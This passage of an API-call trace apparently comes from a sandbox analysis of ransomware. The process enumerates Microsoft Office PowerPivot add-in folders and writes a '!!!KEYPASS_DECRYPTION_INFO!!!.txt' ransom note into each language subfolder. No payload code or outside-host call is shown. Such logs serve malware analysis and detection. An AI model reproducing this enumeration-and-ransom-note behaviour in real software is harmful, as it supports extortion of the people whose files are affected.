Add-in\\lv\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x39880f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.010] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Common.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Common.Wizard.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Excel.BackEnd.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Excel.BackEnd.XmlSerializers.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.XmlSerializers.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Layout.dll") returned=".dll" [0255.010] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.010] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.Modeler.UI.rll") returned=".rll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.SPClient.Interfaces.DLL") returned=".DLL" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.AnalysisServices.XLHost.Modeler.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Dallas.OAuthClient.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Data.ConnectionUI.Dialog.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Data.ConnectionUI.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Data.Recommendation.Client.Core.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Data.Recommendation.Client.Picasso.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Data.Recommendation.Client.Picasso.Sampler.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Data.Recommendation.Common.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.DataWarehouse.DLL") returned=".DLL" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.DataWarehouse.Interfaces.DLL") returned=".DLL" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Excel.AnalysisServices.AdomdClientUI.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Excel.DataWarehouse.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.011] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Excel.MDXQueryGenerator.dll") returned=".dll" [0255.011] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.012] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Excel.ReportingServices.DataExtensions.dll") returned=".dll" [0255.012] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.012] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Excel.ReportingServices.QueryDesigners.dll") returned=".dll" [0255.012] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.012] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.dll") returned=".dll" [0255.012] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.012] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.Interop.Excel.dll") returned=".dll" [0255.012] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.012] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.dll") returned=".dll" [0255.012] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.030] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.Office.PowerPivot.ExcelAddIn.tlb") returned=".tlb" [0255.030] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.030] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.ReportingServices.Diagnostics.dll") returned=".dll" [0255.030] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.030] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.ReportingServices.Interfaces.dll") returned=".dll" [0255.030] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.030] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.ReportingServices.ReportDesign.Common.dll") returned=".dll" [0255.030] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.030] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.ReportingServices.ReportDesign.Forms.dll") returned=".dll" [0255.030] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.030] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.ReportingServices.RsClient.dll") returned=".dll" [0255.031] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.031] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.reportviewer.common.dll") returned=".dll" [0255.031] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.031] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.reportviewer.winforms.dll") returned=".dll" [0255.031] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.031] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.SqlServer.Configuration.SString.dll") returned=".dll" [0255.031] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.031] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Microsoft.SqlServer.Types.dll") returned=".dll" [0255.031] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.031] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.031] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.031] GetLastError () returned 0x3f0 [0255.031] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.031] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ms\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0255.039] GetFileType (hFile=0x8d0) returned 0x1 [0255.040] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.040] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.040] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.040] WriteFile (in: hFile=0x8d0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.045] WriteFile (in: hFile=0x8d0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.045] CloseHandle (hObject=0x8d0) returned 1 [0255.045] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987bb8 [0255.045] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\LocalizedStrings.xml") returned=".xml" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.052] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.052] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987bb8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.053] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\msvcp120.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.053] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\msvcr120.dll") returned=".dll" [0255.053] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.054] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.054] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.054] GetLastError () returned 0x3f0 [0255.054] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.054] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\nl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0255.164] GetFileType (hFile=0x8d4) returned 0x1 [0255.164] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.164] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.164] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.164] WriteFile (in: hFile=0x8d4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.165] WriteFile (in: hFile=0x8d4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.165] CloseHandle (hObject=0x8d4) returned 1 [0255.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987bf8 [0255.166] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.168] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\LocalizedStrings.xml") returned=".xml" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.169] FindNextFileW (in: hFindFile=0x3987bf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.169] PathFindExtensionW 